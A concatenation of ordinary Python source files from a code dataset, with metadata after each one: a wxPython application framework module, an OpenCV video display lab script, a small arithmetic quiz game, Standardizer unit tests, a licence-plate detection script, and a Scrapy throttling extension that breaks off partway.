_addExtraMenuItemsToMenu = inMenu\r\n _addExtraMenuItemsBeforeItem = beforeItem\r\n\r\n\r\ndef createMenuBar(frame, context=None):\r\n \"\"\" Create a new default menu bar for the given frame.\r\n\r\n 'frame' should be the wx.Frame this menu bar will be associated with,\r\n and 'context' should be a string identifying the context in which the\r\n menu bar will be used (if any). If the 'context' value for any of the\r\n menu items matches the current context passed to this function, that\r\n menu item will be disabled. This can be used, for example, to disable\r\n the \"Show Workbench\" command if the Workbench window is already in\r\n front.\r\n\r\n We create and return a wx.MenuBar object containing the default menu\r\n items which were defined by earlier calls to the addToMenuBar()\r\n function, and associate that menu bar with the given frame. Note that\r\n the application can add extra menus and menu items to this default\r\n menu, as desired -- the default is only a starting point containing the\r\n menu items that every window should provide.\r\n \"\"\"\r\n global _defaultMenus\r\n global _itemIDToFrame\r\n\r\n menubar = wx.MenuBar()\r\n menubar._frame = frame\r\n\r\n try:\r\n if _itemIDToFrame == None: pass\r\n except NameError:\r\n _itemIDToFrame = {}\r\n\r\n try:\r\n if _defaultMenus == None: pass\r\n except NameError:\r\n # The user never called the addToMenuBar() function -> nothing to do.\r\n frame.SetMenuBar(menubar)\r\n return menubar\r\n\r\n class _MenuItemHandler:\r\n def __init__(self, handler, passFrame):\r\n self._handler = handler\r\n self._passFrame = passFrame\r\n\r\n def onItem(self, event):\r\n global _itemIDToFrame\r\n if self._passFrame:\r\n frame = _itemIDToFrame.get(event.GetId())\r\n self._handler(frame)\r\n else:\r\n self._handler()\r\n\r\n for menuTitle,items in _defaultMenus:\r\n menu = wx.Menu()\r\n\r\n for item in items:\r\n if item['item'].startswith(\"-\"):\r\n menu.AppendSeparator()\r\n else:\r\n if item['itemID'] == None:\r\n id = wx.NewId()\r\n else:\r\n id = item['itemID']\r\n\r\n handler = _MenuItemHandler(item['handler'], item['passFrame'])\r\n menu.Append(id, item['item'])\r\n frame.Bind(wx.EVT_MENU, handler.onItem, id=id)\r\n\r\n if item['disabled']:\r\n menu.Enable(id, False)\r\n elif context != None and context == item['context']:\r\n menu.Enable(id, False)\r\n else:\r\n menu.Enable(id, True)\r\n\r\n _itemIDToFrame[id] = frame\r\n\r\n menubar.Append(menu, menuTitle)\r\n\r\n frame.SetMenuBar(menubar)\r\n return menubar\r\n\r\n\r\ndef addExtraMenuItem(menubar, item, handler=None):\r\n \"\"\" Add an extra item to the given menu bar.\r\n\r\n The parameters are as follows:\r\n\r\n 'menubar' The menubar to add this extra item to. This must have\r\n been returned by a previous call to createMenuBar().\r\n\r\n 'item' The text of the menu item to add to this menu bar. If\r\n this starts with a hyphen (\"-\") character, the item will\r\n be treated as a separator.\r\n\r\n 'handler' A Python callable object which will be called (with no\r\n parameters) when the given menu item is selected.\r\n\r\n The given item will be inserted into the given menu bar at the point\r\n specified by a previous call to the setExtraMenuItemInsertionPoint()\r\n function, above.\r\n\r\n Upon completion, we return None if we were asked to insert a separator.\r\n Otherwise, we return the created wx.MenuItem object, which can be used\r\n to do things like enable/disable the menu item, change the item's text,\r\n etc.\r\n\r\n Note that if you call this function more than once for the same menu\r\n bar, the additional items will be placed in the correct order, one\r\n after the other, starting at the point defined by the call to\r\n setExtraMenuItemInsertionPoint().\r\n \"\"\"\r\n global _addExtraMenuItemsToMenu\r\n global _addExtraMenuItemsBeforeItem\r\n\r\n class _MenuItemHandler:\r\n def __init__(self, handler):\r\n self._handler = handler\r\n\r\n def onItem(self, event):\r\n self._handler()\r\n\r\n try:\r\n numAdded = menubar._numAdded\r\n except AttributeError:\r\n numAdded = 0\r\n\r\n index = _addExtraMenuItemsBeforeItem + numAdded\r\n\r\n i = menubar.FindMenu(_addExtraMenuItemsToMenu)\r\n if i == wx.NOT_FOUND:\r\n raise RuntimeError(\"There is no menu \"+repr(_addExtraMenuItemsToMenu))\r\n menu = menubar.GetMenu(i)\r\n\r\n if item.startswith(\"-\"):\r\n menu.InsertSeparator(index)\r\n menuItem = None # Nothing to return.\r\n else:\r\n id = wx.NewId()\r\n menuHandler = _MenuItemHandler(handler)\r\n\r\n menuItem = menu.Insert(index, id, item)\r\n menubar._frame.Bind(wx.EVT_MENU, menuHandler.onItem, id=id)\r\n\r\n numAdded = numAdded + 1\r\n menubar._numAdded = numAdded\r\n\r\n return menuItem\r\n\r\n#############################################################################\r\n\r\nclass FrameworkApp:\r\n \"\"\" A Framework-based application.\r\n\r\n This class makes it easier to implement and use a Framework-based\r\n application. It automatically checks to see which of the following\r\n library modules have been installed, and creates appropriate items in\r\n the \"File\" menu to open these modules as required:\r\n\r\n Logger\r\n Preferences\r\n Snapshot Manager\r\n Update Manager\r\n Workbench\r\n\r\n This class is designed to be easy to customise. Note that you don't\r\n need to use a subclass of FrameworkApp in your Framework-based\r\n application, but doing so makes it easier to include the above library\r\n modules in your app.\r\n \"\"\"\r\n def __init__(self):\r\n \"\"\" Standard initialiser.\r\n\r\n Note that the FrameworkApp subclass should call\r\n Framework.setAppName() from its initialiser, so that the library\r\n modules can have access to the application's name.\r\n \"\"\"\r\n self._hasLogger = Framework.get(\"library.Logger\") != None\r\n self._hasPreferences = Framework.get(\"library.Preferences\") != None\r\n self._hasReports = Framework.get(\"library.ReportGenerator\") != None\r\n self._hasSnapshots = Framework.get(\"library.SnapshotManager\") != None\r\n self._hasUpdates = Framework.get(\"library.UpdateManager\") != None\r\n self._hasWorkbench = Framework.get(\"library.Workbench\") != None\r\n self._prefsModules = [] # List of modules which define preferences.\r\n self._guiModules = [] # List of GUI modules in our application.\r\n self._moduleRunning = [] # Are our various GUI modules running?\r\n self._guiModuleParams= {} # Maps module name to list of startup params.\r\n\r\n\r\n def setUpdateManagerParams(self, updateURL):\r\n \"\"\" Set the details needed to use the Update Manager.\r\n\r\n 'updateURL' is the URL the Update Manager will use when downloading\r\n system updates.\r\n\r\n You must call this method before starting up the application if you\r\n wish to use the Update Manager in your app.\r\n \"\"\"\r\n self._updateURL = updateURL\r\n\r\n\r\n def setWorkbenchParams(self, ftpServer, ftpUser, ftpDir):\r\n \"\"\" Set the details needed to use the Workbench.\r\n\r\n The parameters are as follows:\r\n\r\n You must call this method before starting up the application if you\r\n wish to use the Workbench in your app.\r\n \"\"\"\r\n self._ftpServer = ftpServer\r\n self._ftpUser = ftpUser\r\n self._ftpDir = ftpDir\r\n\r\n\r\n def setModulesWithPrefs(self, modules):\r\n \"\"\" Set the list of modules with preference settings.\r\n\r\n 'modules' is a list of the names of the various Python modules\r\n which define preference settings. Each of these modules must\r\n have a top-level definePreferences() function, which is called to\r\n define the module's preference settings as required.\r\n \"\"\"\r\n self._prefsModules = modules\r\n\r\n\r\n def setGUIModules(self, modules):\r\n \"\"\" Set the list of modules used to start up/shut down the app's GUI.\r\n\r\n 'modules' is a list of the names of the various Python modules\r\n which must be called, in order, to start up the application's GUI.\r\n Each name is the module path, as passed to Framework.get() to\r\n obtain a copy of that module.\r\n\r\n If any module fails to start up, the modules are shut down again in\r\n reverse order, so that the GUI can be started up again later if\r\n desired (eg, after fixing a bug using the Workbench).\r\n\r\n Each module must define two top-level functions:\r\n\r\n def startup()\r\n\r\n def shutdown()\r\n\r\n The startup)_ function is called to start up the given module, and\r\n the shutdown() function is called to shut it down.\r\n\r\n This should be called when you initialise your Framework-based\r\n application, so that it knows how to start up and shut down the\r\n application's GUI.\r\n \"\"\"\r\n self._guiModules = modules\r\n self._moduleRunning = [False] * len(self._guiModules)\r\n self._guiModuleParams = {}\r\n\r\n\r\n def setGUIModuleParams(self, module, *params):\r\n \"\"\" Set the parameters for the given GUI module's startup() function.\r\n\r\n 'module' is the name of a GUI module, as previously passed to\r\n setGUIModules(), above.\r\n\r\n The given list of parameters will be passed to the module's\r\n startup() function when the FrameworkApp wishes to start up that\r\n module.\r\n\r\n Note that if no parameters are defined for a module, then no\r\n parameters will be passed to that module's startup() function.\r\n \"\"\"\r\n self._guiModuleParams[module] = params\r\n\r\n\r\n def startup(self):\r\n \"\"\" Start up the Framework-based application.\r\n\r\n This should be called from your application's \"main\" module's\r\n startup() function.\r\n\r\n You should not normally need to override this method, though you\r\n can do so if you wish.\r\n \"\"\"\r\n Logger = Framework.get(\"library.Logger\")\r\n Preferences = Framework.get(\"library.Preferences\")\r\n ReportGenerator = Framework.get(\"library.ReportGenerator\")\r\n SnapshotManager = Framework.get(\"library.SnapshotManager\")\r\n UpdateManager = Framework.get(\"library.UpdateManager\")\r\n Workbench = Framework.get(\"library.Workbench\")\r\n\r\n # If this application includes the Preferences module, define the\r\n # application's preference settings.\r\n\r\n if self._hasPreferences:\r\n Preferences.startup()\r\n self._setupPreferences()\r\n\r\n # Initialise the remaining library modules which we have installed.\r\n\r\n if self._hasLogger: Logger.startup()\r\n\r\n if self._hasSnapshots: SnapshotManager.startup(self.calculateMetaInfo)\r\n\r\n if self._hasUpdates: UpdateManager.startup(updateURL=self._updateURL)\r\n\r\n if self._hasWorkbench: Workbench.startup(ftpServer=self._ftpServer,\r\n ftpUser=self._ftpUser,\r\n ftpDir=self._ftpDir,\r\n app=self)\r\n\r\n # Setup our common menu bar items.\r\n\r\n self.defineMenuBar()\r\n\r\n # Finally, start up the application's GUI and/or perform any other\r\n # special actions on startup, as defined by our preference settings and\r\n # the current restart instruction, if any.\r\n\r\n if self._hasWorkbench:\r\n # If we've been asked to open the workbench on startup, do so now.\r\n if Preferences.get(\"Workbench\", \"openWorkbenchOnStartup\"):\r\n Workbench.doOpenWorkbenchWindow()\r\n\r\n instruction = Framework.getRestartInstruction()\r\n\r\n if instruction != None and not instruction.startswith(\"_\"):\r\n # This restart instruction is for the application itself -> let the\r\n # application object handle it.\r\n self.respondToRestartInstruction(instruction)\r\n return\r\n\r\n # If we get here, the restart instruction relates to a library module.\r\n # Handle it appropriately.\r\n\r\n if instruction == None:\r\n # The default startup behaviour is to open the application's GUI if\r\n # we have no workbench or if the workbench's preference settings\r\n # tell us to open the GUI automatically on system startup.\r\n if self._hasWorkbench:\r\n if Preferences.get(\"Workbench\", \"openAppGUIOnStartup\"):\r\n self.startGUI()\r\n else:\r\n self.startGUI()\r\n return\r\n\r\n if instruction == \"_open-snapshot-window\" and self._hasSnapshots:\r\n # Re-open the \"Take/Restore Snapshots\" window after taking or\r\n # restoring a snapshot.\r\n self.startGUI()\r\n SnapshotManager.openSnapshotWindow()\r\n return\r\n\r\n if instruction == \"_open-update-window\" and self._hasUpdates:\r\n # Re-open the \"Update System\" window after applying or undoing a\r\n # system update.\r\n self.startGUI()\r\n UpdateManager.openUpdateWindow()\r\n return\r\n\r\n # If we get here, we don't know what the restart instruction was ->\r\n # tell the user the bad news.\r\n\r\n wx.MessageBox(\"Unknown restart instruction: \" + repr(instruction))\r\n\r\n\r\n def shutdown(self):\r\n \"\"\" Shut down the Framework-based application.\r\n\r\n This should be called from your application's \"main\" module's\r\n shutdown() function.\r\n\r\n You should not normally need to override this method, though you\r\n can do so if you wish.\r\n \"\"\"\r\n Logger = Framework.get(\"library.Logger\")\r\n Preferences = Framework.get(\"library.Preferences\")\r\n SnapshotManager = Framework.get(\"library.SnapshotManager\")\r\n UpdateManager = Framework.get(\"library.UpdateManager\")\r\n Workbench = Framework.get(\"library.Workbench\")\r\n\r\n self.stopGUI()\r\n\r\n if self._hasLogger: Logger.shutdown()\r\n if self._hasSnapshots: SnapshotManager.shutdown()\r\n if self._hasUpdates: UpdateManager.shutdown()\r\n if self._hasWorkbench: Workbench.shutdown()\r\n\r\n\r\n def startGUI(self):\r\n \"\"\" Start up the application's GUI.\r\n\r\n This method attempts to start up each of the GUI modules defined by\r\n a previous call to setGUIModules() in turn. If any module fails to\r\n start up, the start process will be rolled back, shutting down each\r\n of the modules started up so far, in reverse order.\r\n\r\n This method is normally called automatically by the system. You\r\n should not normally need to call this method.\r\n \"\"\"\r\n # Start by flushing out all the GUI modules, just in case their source\r\n # code has changed.\r\n\r\n for modPath in self._guiModules:\r\n Framework.flushModuleCache(modPath)\r\n\r\n # Now try starting up the GUI modules, one at a time.\r\n\r\n modNum = 0\r\n failed = False\r\n prefsSetup = False\r\n\r\n while modNum < len(self._guiModules):\r\n modPath = self._guiModules[modNum]\r\n module = Framework.get(modPath)\r\n\r\n if hasattr(module, \"definePreferences\"):\r\n # This module defines some preference settings -> reload our\r\n # preference settings if we have't already done so.\r\n if not prefsSetup:\r\n self._setupPreferences()\r\n prefsSetup = True\r\n\r\n try:\r\n# print \"starting \" + modPath\r\n if hasattr(module, \"startup\"):\r\n params = self._guiModuleParams.get(modPath, [])\r\n module.startup(*params)\r\n except:\r\n self._handleFailure(module, \"STARTUP\")\r\n failed = True\r\n break\r\n\r\n self._moduleRunning[modNum] = True\r\n modNum = modNum + 1\r\n continue\r\n\r\n if failed:\r\n self.stopGUI() # Shut down modules started up so far.\r\n\r\n\r\n def stopGUI(self):\r\n \"\"\" Shut down the application's GUI.\r\n\r\n This method attempts to shut down each of the GUI modules defined\r\n by a previous call to setGUIModules() in turn. If a module fails\r\n to shut down, the user is told about the problem but the shutdown\r\n process continues.\r\n\r\n This method is normally called automatically by the system. You\r\n should not normally need to call this method.\r\n \"\"\"\r\n modNum = len(self._guiModules)-1\r\n while modNum >= 0:\r\n if not self._moduleRunning[modNum]:\r\n modNum = modNum - 1\r\n continue\r\n\r\n modPath = self._guiModules[modNum]\r\n module = Framework.get(modPath)\r\n try:\r\n# print \"stopping \" + modPath\r\n if hasattr(module, \"shutdown\"):\r\n module.shutdown()\r\n except:\r\n self._handleFailure(module, \"SHUTDOWN\")\r\n\r\n self._moduleRunning[modNum] = False\r\n modNum = modNum - 1\r\n continue\r\n\r\n\r\n def defineMenuBar(self):\r\n \"\"\" Define the common menu items used by your application.\r\n\r\n Each wx.Frame can have its own specific menu items, in addition to\r\n the ones defined here; this method merely defines the menu items\r\n shared across all windows.\r\n\r\n The default implementation of this method creates a \"File\" menu\r\n containing items to close the current window, to quit the\r\n application, and to access whichever of the following library\r\n modules are installed in this application:\r\n\r\n Logger\r\n Preferences\r\n Snapshot Manager\r\n Update Manager\r\n Workbench\r\n\r\n You can override this method if you wish, for example to add\r\n extra menus. Be sure to call FrameworkApp.defineMenuBar() in\r\n your subclass if you wish to make use of the standard \"File\" menu\r\n in your app.\r\n \"\"\"\r\n Logger = Framework.get(\"library.Logger\")\r\n Preferences = Framework.get(\"library.Preferences\")\r\n SnapshotManager = Framework.get(\"library.SnapshotManager\")\r\n UpdateManager = Framework.get(\"library.UpdateManager\")\r\n Workbench = Framework.get(\"library.Workbench\")\r\n\r\n addCloseCmdToMenuBar(\"File\", \"Close\\tCTRL-W\",)\r\n addToMenuBar(\"File\", \"-------------\")\r\n self.addExtraFileMenuItems() # Let subclass add its own items here.\r\n if self._hasPreferences:\r\n Preferences.addPreferencesCmdToMenuBar(\"File\", \"Preferences...\")\r\n # Note: the above call adds a menu item separator automatically.\r\n if self._hasSnapshots:\r\n SnapshotManager.addTakeSnapshotCmdToMenuBar(\"File\",\r\n \"Take/Restore Snapshot...\\tF4\")\r\n if self._hasUpdates:\r\n UpdateManager.addUpdateSystemCmdToMenuBar(\"File\", \"Update System\")\r\n if self._hasSnapshots or self._hasUpdates:\r\n addToMenuBar(\"File\", \"-------------\")\r\n if self._hasWorkbench:\r\n Workbench.addOpenWorkbenchCmdToMenuBar(\"File\",\r\n \"Open Workbench...\\tF5\")\r\n if self._hasLogger:\r\n Logger.addOpenSystemLogCmdToMenuBar(\"File\",\r\n \"Open System Log...\\tF6\")\r\n if self._hasWorkbench or self._hasLogger:\r\n addToMenuBar(\"File\", \"-------------\")\r\n addQuitCmdToMenuBar(\"File\", \"Quit\\tCTRL-Q\")\r\n\r\n setExtraMenuItemInsertionPoint(\"File\", 2)\r\n\r\n # ==============================\r\n # == METHODS TO BE OVERRIDDEN ==\r\n # ==============================\r\n\r\n def calculateMetaInfo(self):\r\n \"\"\" Calculate the meta-information for this application.\r\n\r\n The meta-information is included in the snapshots, and tells the\r\n user about the state of the application at the time the snapshot\r\n was taken.\r\n\r\n The default implementation of this method returns no application\r\n specific meta-information; you should override this method if you\r\n want to include meta-information in the snapshots generated by your\r\n users.\r\n \"\"\"\r\n return {}\r\n\r\n\r\n def respondToRestartInstruction(self, instruction):\r\n \"\"\" Respond to a restart instruction.\r\n\r\n This method is called whenever the application is restarted by\r\n calling Framework.restart() method with a restartInstruction\r\n parameter. The default implementation of this method does nothing;\r\n you shoud override this method if you want to use any special\r\n restart instructions in your application.\r\n\r\n Note that your application's restart instructions cannot start with\r\n an underscore character, as these are reserved for internal use by\r\n the various library modules.\r\n \"\"\"\r\n pass # Nothing to do!\r\n\r\n\r\n def addExtraFileMenuItems(self):\r\n \"\"\" Add additional items to the default \"File\" menu.\r\n\r\n This is called as the default \"File\" menu is being defined. If you\r\n override this method, you can then call addToMenuBar() to add extra\r\n application-specific items to the default \"File\" menu associated\r\n with every window.\r\n\r\n Note that if you do define any extra items in the \"File\" menu, you\r\n should also add a separate after the last item to separate your\r\n items from the standard \"File\" menu items which follow.\r\n \"\"\"\r\n pass # Nothing to do!\r\n\r\n # =====================\r\n # == PRIVATE METHODS ==\r\n # =====================\r\n\r\n def _getModuleName(self, module):\r\n \"\"\" Return the name for the given Python module.\r\n\r\n This convenience routine returns the __modulePath__ if 'module' is\r\n a Framework module. Otherwise, it simply returns repr(module).\r\n This can be used to get the name of a Python module, regardless of\r\n whether it was loaded by the Framework or some other mechanism (eg,\r\n if it is an object masquerading as a module, or a Python build-in\r\n library module, or whatever).\r\n \"\"\"\r\n if hasattr(module, \"__modulePath__\"): # A Framework module.\r\n return module.__modulePath__\r\n else:\r\n return repr(module)\r\n\r\n\r\n def _handleFailure(self, module, action):\r\n \"\"\" Respond to a failure to start up or shut down the app's GUI.\r\n\r\n 'module' is the Python module we were attempting to start up or\r\n shut down, while 'action' should be either \"STARTUP\" or \"SHUTDOWN\"\r\n as appropriate.\r\n\r\n This must be called from within an exception handler. A suitable\r\n error message is displayed to the user.\r\n \"\"\"\r\n if self._hasLogger:\r\n Logger = Framework.get(\"library.Logger\")\r\n Logger.logException()\r\n\r\n type,value,tb = sys.exc_info()\r\n err = []\r\n for s in traceback.format_exception(type, value, tb):\r\n err.append(\" \" + string.rstrip(s))\r\n\r\n msg = []\r\n if action == \"STARTUP\":\r\n s = \"starting up\"\r\n elif action == \"SHUTDOWN\":\r\n s = \"shutting down\"\r\n else:\r\n s = \"???\"\r\n msg.append(\"Sorry, an error occurred while \" + s + \" the \" +\r\n Framework.getAppName() + \" application.\")\r\n msg.append(\"\")\r\n msg.append(\"Error Message:\")\r\n msg.append(\"\")\r\n msg.append(\"\\n\".join(err))\r\n msg.append(\"\")\r\n msg.append(\"Module: \" + self._getModuleName(module))\r\n\r\n if action == \"STARTUP\":\r\n msg.append(\"\")\r\n msg.append(\"The application will not be able to start up \" +\r\n \"until this error has been corrected.\")\r\n\r\n if action == \"STARTUP\":\r\n title = \"Startup Failure\"\r\n elif action == \"SHUTDOWN\":\r\n title = \"Shutdown Failure\"\r\n else:\r\n title = \"???\"\r\n\r\n dlg = wx.lib.dialogs.ScrolledMessageDialog(getTopFrame(),\r\n \"\\n\".join(msg),\r\n title)\r\n dlg.ShowModal()\r\n\r\n\r\n def _setupPreferences(self):\r\n \"\"\" Setup our application's preference settings.\r\n\r\n We reset the Preferences module, ask the various parts of the\r\n system to define their preference settings, and then load the\r\n preferences in from disk.\r\n\r\n This is called during system startup, and when we start up the GUI.\r\n \"\"\"\r\n if not self._hasPreferences: return # Should never happen.\r\n\r\n Preferences = Framework.get(\"library.Preferences\")\r\n\r\n Preferences.reset()\r\n\r\n for modPath in self._prefsModules:\r\n module = Framework.get(modPath)\r\n module.definePreferences()\r\n\r\n Preferences.load()\r\n\r\n#############################################################################\r\n\r\nclass FullWidthListCtrl(wx.ListCtrl,\r\n wx.lib.mixins.listctrl.ListCtrlAutoWidthMixin):\r\n \"\"\" A wx.ListCtrl which expands its last col. to fill the available space.\r\n\r\n NOTE: This class is here for backwards-compatibility only. New code\r\n should use the ExtendedListCtrl class instead.\r\n \"\"\"\r\n def __init__(self, parent, style=0):\r\n \"\"\" Standard initialiser.\r\n \"\"\"\r\n wx.ListCtrl.__init__(self, parent, -1, style=style)\r\n wx.lib.mixins.listctrl.ListCtrlAutoWidthMixin.__init__(self)\r\n\r\n#############################################################################\r\n\r\nclass ExtendedListCtrl(wx.ListCtrl,\r\n wx.lib.mixins.listctrl.ListCtrlAutoWidthMixin):\r\n \"\"\" A simple wx.ListCtrl with extended functionality.\r\n\r\n In addition to automatically using the AutoWidthMixin, the\r\n ExtendedListCtrl provides methods to easily get and set the current\r\n selection from the list.\r\n \"\"\"\r\n def __init__(self, parent, style=wx.LC_REPORT | wx.LC_SINGLE_SEL):\r\n \"\"\" Standard initialiser.\r\n \"\"\"\r\n wx.ListCtrl.__init__(self, parent, -1, style=style)\r\n wx.lib.mixins.listctrl.ListCtrlAutoWidthMixin.__init__(self)\r\n\r\n\r\n def getSelection(self):\r\n \"\"\" Return the index of the currently-selected item in the list.\r\n\r\n If no item is selected, we return None.\r\n \"\"\"\r\n i = self.GetNextItem(-1, state=wx.LIST_STATE_SELECTED)\r\n if (i < 0) or (i >= self.GetItemCount()):\r\n return None\r\n else:\r\n return i\r\n\r\n\r\n def setSelection(self, i):\r\n \"\"\" Select the given item in the list.\r\n\r\n 'i' is the index of the item to select. Set 'i' to None if you\r\n wish to remove the current selection.\r\n \"\"\"\r\n # Remove previous selection, if any.\r\n\r\n sel = self.GetNextItem(-1, state=wx.LIST_STATE_SELECTED)\r\n if (sel >= 0) and (sel < self.GetItemCount()):\r\n self.SetItemState(sel, 0, wx.LIST_STATE_SELECTED)\r\n\r\n # Select the new item, if any.\r\n\r\n if i != None:\r\n self.SetItemState(i, wx.LIST_STATE_SELECTED,\r\n wx.LIST_STATE_SELECTED)\r\n\r\n#############################################################################\r\n\r\nclass TextDisplayCtrl(wx.Window):\r\n \"\"\" A generic window used to display some text to the user.\r\n \r\n This has the advantage of being able to word-wrap the text\r\n intelligently, unlike wx.StaticText. It makes use of an HtmlWindow to\r\n do all the work.\r\n \"\"\"\r\n def __init__(self, parent, style=wx.SIMPLE_BORDER):\r\n \"\"\" Standard initialiser.\r\n\r\n Note that, after creating your TextDisplayCtrl object, you need to\r\n ensure that the object has a suitable minimum size. The object\r\n defaults to 100 pixels square; you can change this if you wish by\r\n calling ctrl.SetMinSize(), or using a sizer which resizes the text\r\n in some suitable way.\r\n \"\"\"\r\n wx.Window.__init__(self, parent, -1, style=style)\r\n\r\n self._html = wx.html.HtmlWindow(self, -1, size=wx.Size(100, 100))\r\n\r\n sizer = wx.BoxSizer(wx.VERTICAL)\r\n sizer.Add(self._html, 1, wx.EXPAND)\r\n self.SetAutoLayout(True)\r\n self.SetSizer(sizer)\r\n\r\n self.Bind(wx.EVT_SIZE, self._onSize)\r\n\r\n\r\n def setText(self, text):\r\n \"\"\" Set the text to display in our TextDisplayCtrl.\r\n\r\n Note that if you wish to format your text in any way, for example\r\n by forcing line-breaks, changing alignment, including bold or\r\n italic formatting, etc, you can simply include HTML formatting\r\n codes in the text to be displayed. If you don't include any HTML\r\n formatting codes, the text will be displayed as plain text,\r\n word-wrapping as required.\r\n \"\"\"\r\n self._html.SetPage('' + text + '')\r\n\r\n # =========================\r\n # == PRIVATE DEFINITIONS ==\r\n # =========================\r\n\r\n def _onSize(self, event):\r\n \"\"\" Respond to our TextDisplayCtrl being resized.\r\n \"\"\"\r\n self._html.SetSize(event.GetSize())\r\n\r\n","sub_path":"library/utilities/wxUtils.py","file_name":"wxUtils.py","file_ext":"py","file_size_in_byte":37749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"130591497","text":"\"\"\"\nWritten by: S Divakar Bhat\nRoll No: 18307R004\nTitle: CS763_lab1_opencv_display_images\n\"\"\"\n\nimport argparse\nimport cv2\n\n\n\nif __name__==\"__main__\":\n\n parse = argparse.ArgumentParser('display_video')\n\n parse.add_argument('path', type=str, default='../data/sample_video.mp4')\n\n args = parse.parse_args()\n\n vid = cv2.VideoCapture(args.path)\n \n while True:\n\n _, frame = vid.read()\n gray = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\n cv2.rectangle(frame, (400,22), (636,1), (255,0,0), (1))\n cv2.putText(frame,'S Divakar Bhat', (400,23),cv2.FONT_HERSHEY_SIMPLEX,1,(255,0,0),1,cv2.LINE_AA) \n cv2.rectangle(gray, (400,22), (636,1), (255,0,0), (1))\n cv2.putText(gray,'S Divakar Bhat', (400,23),cv2.FONT_HERSHEY_SIMPLEX,1,(255,0,0),1,cv2.LINE_AA)\n cv2.imshow('Original',frame)\n cv2.imshow('Grayscale',gray)\n cv2.moveWindow('Grayscale',680,55)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n #vid.release()\n cv2.destroyAllWindows()\n vid.release()\n","sub_path":"lab1/opencv/code/display_video.py","file_name":"display_video.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"124279784","text":"from random import randint, choice\nfrom eval import calc\n# import eval\na = True\nwhile a:\n op = choice(['+','-','*','/'])\n x = randint(1,10)\n y = randint(1,10)\n error = randint(-1,1)\n res = calc(x,y,op)\n # res = eval.calc(x,y,op)\n display_res = res + error\n print('{} {} {} = {}'.format(x,op,y,display_res))\n guess = input('(Y/N)? ').upper()\n if error == 0:\n if guess == 'Y':\n print('Yay')\n else:\n print(\"You're wrong\")\n a = False\n else:\n if guess == 'N':\n print('Yay')\n else:\n print(\"You're wrong\")\n a = False\n\n\n","sub_path":"ProjectC4E/C4E-20/Labs/Lap03/freaking_math.py","file_name":"freaking_math.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"24204929","text":"\"\"\"Unit tests for the Standardizer class.\"\"\"\n\nfrom itertools import product\n\nimport numpy as np\n\nfrom deeplib.utils.preprocessing import Standardizer\n\n\ndef test_standardizer():\n \"\"\"Sanity checks for correct performance.\"\"\"\n rs = np.random.RandomState(0)\n\n for n_samples, n_features in product((1, 10, 100), (1, 5, 10)):\n x_train = rs.exponential(scale=20, size=(n_samples, n_features))\n\n x_mean = x_train.mean(axis=0)\n x_std = x_train.std(axis=0, ddof=0)\n x_std = np.where(x_std > 0, x_std, 1)\n\n standardizer = Standardizer(x_train)\n\n y_train = standardizer(x_train)\n\n y_mean = y_train.mean(axis=0)\n y_std = y_train.std(axis=0, ddof=0)\n\n np.testing.assert_almost_equal(y_mean, np.zeros(n_features))\n\n np.testing.assert_almost_equal(y_std[y_std > 0],\n np.ones(sum(y_std > 0)))\n\n x_test = rs.uniform(high=20, size=(50, n_features))\n\n y_test = standardizer(x_test)\n\n np.testing.assert_almost_equal(y_test, (x_test - x_mean) / x_std)\n","sub_path":"deeplib/utils/tests/test_standardizer.py","file_name":"test_standardizer.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"534214078","text":"import os\nimport numpy as np\nimport sys\nimport cv2\nfrom NomeroffNet.YoloV5Detector import Detector\nfrom NomeroffNet.TextDetector import TextDetector\n\nfrom NomeroffNet import TextDetector\nfrom NomeroffNet import textPostprocessing\n\n# Specify device\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\nos.environ[\"TF_FORCE_GPU_ALLOW_GROWTH\"] = \"true\"\n\n# NomeroffNet path\nNOMEROFF_NET_DIR = os.path.abspath('../')\n\nsys.path.append(NOMEROFF_NET_DIR)\n\ndetector = Detector()\ndetector.load()\n\nimgs = [\n '21_5_2014_7_42_58_269.bmp',\n '21_5_2014_19_16_58_117.bmp'\n]\nbase_dir = os.path.join(\n os.path.dirname(os.path.abspath(__file__)), 'in',\n 'PhotoBaseFull')\nimg_paths = []\nfor p in imgs:\n img_paths.append(os.path.join(base_dir, p))\n\n# load models\ntextDetector = TextDetector.get_static_module(\"eu\")\ntextDetector.load(\"latest\")\n\n# Detect numberplate\nframe_nums = []\nxx = []\nyy = []\n\nfor img_no, img_path in enumerante(img_paths):\n img = cv2.imread(img_path)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n targetBoxes = detector.detect_bbox(img)\n\n for targetBox in targetBoxes:\n frame_nums.append(img_no)\n xx.append(int(min(targetBox[0], targetBox[2])))\n yy.append(int(min(targetBox[1], targetBox[3])))\n\nresult = zip(frame_nums, xx, yy)\n","sub_path":"detect_coordinates/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"509170176","text":"# -*- coding: utf-8 -*-\n\nimport logging\n\nfrom scrapy.contrib.throttle import AutoThrottle\nfrom scrapy.exceptions import NotConfigured\nfrom scrapy import signals\n\nfrom proxies.utils import add_or_update\n\n\nclass CustomThrottle(AutoThrottle):\n def __init__(self, crawler):\n try:\n super(CustomThrottle, self).__init__(crawler)\n except NotConfigured:\n if not crawler.settings.getbool('CUSTOM_AUTOTHROTTLE_ENABLED'):\n raise NotConfigured\n\n self.debug = crawler.settings.getbool(\"CUSTOM_AUTOTHROTTLE_DEBUG\")\n\n crawler.signals.connect(self._spider_opened, signal=signals.spider_opened)\n crawler.signals.connect(self._response_downloaded, signal=signals.response_downloaded)\n\n def _spider_opened(self, spider):\n spider.download_delay = 0\n\n def _response_downloaded(self, response, request, spider):\n key, slot = self._get_slot(request, spider)\n latency = request.meta.get('download_latency') * 1000\n proxy = request.meta.get('proxy')\n\n if latency is None or slot is None or proxy is None:\n return\n\n if self.debug:\n size 